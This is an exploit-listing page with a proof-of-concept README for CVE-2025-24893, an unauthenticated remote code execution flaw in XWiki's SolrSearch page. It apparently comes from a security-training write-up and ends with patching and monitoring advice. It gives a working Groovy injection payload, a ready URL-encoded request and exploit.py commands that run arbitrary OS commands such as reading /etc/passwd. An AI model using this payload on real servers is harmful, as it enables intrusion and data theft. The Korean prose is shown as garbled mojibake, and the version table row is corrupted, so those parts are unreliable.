Share
## https://sploitus.com/exploit?id=66C89009-DD0E-5D15-8E33-F504D3A60063
# XWiki SolrSearch Unauthenticated RCE (CVE-2025-24893)

---
### Contributors
- ํ™”์ดํŠธํ–‡ ์Šค์ฟจ 4๊ธฐ 25๋ฐ˜ [์ž„๋‘์—ฐ(@endusdksla)](https://github.com/endusdksla)

## ์š”์•ฝ
- XWiki๋Š” ์œ„ํ‚ค ๋ฌธ๋ฒ•๊ณผ ๋งคํฌ๋กœ๋ฅผ ์„œ๋ฒ„ ์ธก์—์„œ ํ•ด์„ํ•ด ๋ Œ๋”๋งํ•œ๋‹ค. ๋ฌธ์ œ๋Š” `Main.SolrSearch` ํŽ˜์ด์ง€๊ฐ€ ๊ฒŒ์ŠคํŠธ์—๊ฒŒ ์—ด๋ ค ์žˆ์œผ๋ฉด์„œ๋„, ์‚ฌ์šฉ์ž ์ž…๋ ฅ์ธ `text` ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ถฉ๋ถ„ํ•œ ๊ฒ€์ฆ ์—†์ด XWiki ๋ฌธ๋ฒ•์œผ๋กœ ํ‰๊ฐ€ํ•œ๋‹ค๋Š” ์ ์ด๋‹ค.
- ๊ณต๊ฒฉ์ž๋Š” `text`์— `{{groovy}}` ๋งคํฌ๋กœ๋ฅผ ์‚ฝ์ž…ํ•ด ์„œ๋ฒ„์—์„œ ์ž„์˜์˜ Groovy ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ณ , `"command".execute()`๋ฅผ ํ†ตํ•ด ์šด์˜์ฒด์ œ ๋ช…๋ น๊นŒ์ง€ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ๋ณ„๋„ ๋กœ๊ทธ์ธ์ด๋‚˜ ํ† ํฐ ์—†์ด ๋‹จ์ผ GET ์š”์ฒญ๋งŒ์œผ๋กœ ์•…์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค.

## ํ™˜๊ฒฝ ๊ตฌ์„ฑ

์ด ๋””๋ ‰ํ† ๋ฆฌ๋Š” ๊ณต์‹ XWiki standalone ๋ฐฐํฌ๋ณธ `15.10.1`๊ณผ Java 17 ๋Ÿฐํƒ€์ž„์„ ์‚ฌ์šฉํ•ด ์ทจ์•ฝ ํ™˜๊ฒฝ์„ ๊ตฌ์„ฑํ•œ๋‹ค.
| ํ•ญ๋ชฉ | ๋‚ด์šฉ |
|---|---|
| CVE | `CVE-2025-24893` |
| ์ œํ’ˆ | XWiki Platform |
| ์ทจ์•ฝ ๋ฒ„์ „ | `>= 5.3-milestone-2, = 16.0.0-rc-1,  Unauthenticated RCE |
| ์ธ์ฆ ํ•„์š” ์—ฌ๋ถ€ | ๋ถˆํ•„์š” |
| ์˜ํ–ฅ | ์„œ๋ฒ„ ๋ช…๋ น ์‹คํ–‰ ๊ฐ€๋Šฅ |

## ์ทจ์•ฝ ์กฐ๊ฑด

- XWiki ๋ฒ„์ „์ด ํŒจ์น˜ ์ด์ „ ๋ฒ„์ „์ด์–ด์•ผ ํ•œ๋‹ค.
- `Main.SolrSearch` ์—”๋“œํฌ์ธํŠธ๊ฐ€ ๊ฒŒ์ŠคํŠธ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•ด์•ผ ํ•œ๋‹ค.
- ์„œ๋ฒ„๊ฐ€ `text` ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ XWiki ๋ฌธ๋ฒ•์œผ๋กœ ํ‰๊ฐ€ํ•  ์ˆ˜ ์žˆ์–ด์•ผ ํ•œ๋‹ค.
- `groovy` ๋งคํฌ๋กœ๊ฐ€ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ์—ฌ์•ผ ํ•œ๋‹ค.

๋ณธ ํ™˜๊ฒฝ์€ XWiki `15.10.1`์„ ์‚ฌ์šฉํ•˜๋ฏ€๋กœ ์œ„ ์กฐ๊ฑด์„ ๋งŒ์กฑํ•œ๋‹ค.

## ์žฌํ˜„ ์ ˆ์ฐจ

```bash
docker compose up -d --build
```
์ดˆ๊ธฐ ์‹คํ–‰ ์‹œ ์ž๋™ ์„ค์น˜๊ฐ€ ์ง„ํ–‰๋˜๋ฏ€๋กœ ๋ช‡ ๋ถ„ ์ •๋„ ์†Œ์š”๋  ์ˆ˜ ์žˆ๋‹ค.(์†Œ์š”์‹œ๊ฐ„์€ ๋Œ€๋žต 6~7๋ถ„)

```bash
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
```
์œ„ ๋ช…๋ น์–ด์˜ ๊ฒฐ๊ณผ์—์„œ `"Status":"healthy"` ์ƒํƒœ๊ฐ€ ๋˜๋ฉด ํ™˜๊ฒฝ ๊ตฌ์„ฑ์ด ์™„๋ฃŒ๋˜์–ด exploit ๊ฐ€๋Šฅํ•œ ์ƒํƒœ๊ฐ€ ๋œ๋‹ค.

```bash
pip install requests
```
exploit.py ์‹คํ–‰ ์ „ ์˜์กด์„ฑ์„ ์„ค์น˜ํ•œ๋‹ค.

## PoC ์ฝ”๋“œ

ํ•ต์‹ฌ ํŽ˜์ด๋กœ๋“œ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

```text
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
```

์œ„ ํŽ˜์ด๋กœ๋“œ๋Š” `text` ํŒŒ๋ผ๋ฏธํ„ฐ์— ์‚ฝ์ž…๋˜์–ด `Main.SolrSearch` ํŽ˜์ด์ง€์—์„œ ํ‰๊ฐ€๋œ๋‹ค. ๊ทธ ๊ฒฐ๊ณผ `println("id".execute().text)`๊ฐ€ ์„œ๋ฒ„์—์„œ ์‹คํ–‰๋˜๊ณ , ๋ช…๋ น ์‹คํ–‰ ๊ฒฐ๊ณผ๊ฐ€ RSS ์‘๋‹ต ๋ณธ๋ฌธ์— ๋ฐ˜์‚ฌ๋œ๋‹ค.

์ „์ฒด ์‹คํ–‰ ์Šคํฌ๋ฆฝํŠธ๋Š” [exploit.py](./exploit.py)๋ฅผ ์ฐธ๊ณ ํ•˜๋ฉด ๋œ๋‹ค.

```bash
python3 exploit.py
```
์œ„ ํŒŒ์ด์ฌ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ PoC ์žฌํ˜„์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ๊ธฐ๋ณธ ๋ช…๋ น์–ด๋Š” id์ด๋‹ค.

```bash
python3 exploit.py -c "cat /etc/passwd"
```
๋‹ค๋ฅธ ๋ช…๋ น ์‹คํ–‰์„ ์‹คํ–‰ํ•˜๋ ค๋ฉด ์œ„์™€ ๊ฐ™์ด ์ธ์ž๋ฅผ ๋„˜๊ฒจ์ฃผ๋ฉด ๋œ๋‹ค.

ํ˜น์€ url๋กœ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ๋œ๋‹ค.(id๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ํŽ˜์ด๋กœ๋“œ)
```text
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
```

## ์‹คํ–‰ ๊ฒฐ๊ณผ

![poc_id](./screenshots/01-poc-id.png)
id๋ฅผ ์‘๋‹ต์œผ๋กœ ๋ณด๋‚ด๋Š” ๋ชจ์Šต

![poc_ls](./screenshots/02-poc-ls.png)
ํ˜„์žฌ ๋””๋ ‰ํ† ๋ฆฌ ํŒŒ์ผ ํ™•์ธ

## ๋Œ€์‘ ๋ฐฉ์•ˆ

- XWiki๋ฅผ `15.10.11` ์ด์ƒ ๋˜๋Š” `16.4.1` ์ด์ƒ์œผ๋กœ ์—…๋ฐ์ดํŠธํ•œ๋‹ค.
- ์™ธ๋ถ€์— ๋…ธ์ถœ๋œ XWiki ์ธ์Šคํ„ด์Šค์˜ ๊ฒŒ์ŠคํŠธ ์ ‘๊ทผ ์ •์ฑ…์„ ์ ๊ฒ€ํ•œ๋‹ค.
- ๋ถˆํ•„์š”ํ•œ ์Šคํฌ๋ฆฝํŠธ/๋งคํฌ๋กœ ์‹คํ–‰ ๊ถŒํ•œ์„ ์ตœ์†Œํ™”ํ•œ๋‹ค.
- ์˜์‹ฌ ์š”์ฒญ ๋ฐ `SolrSearch` ์ ‘๊ทผ ๋กœ๊ทธ๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•œ๋‹ค.

## reference

- NVD: 
- GitHub Advisory: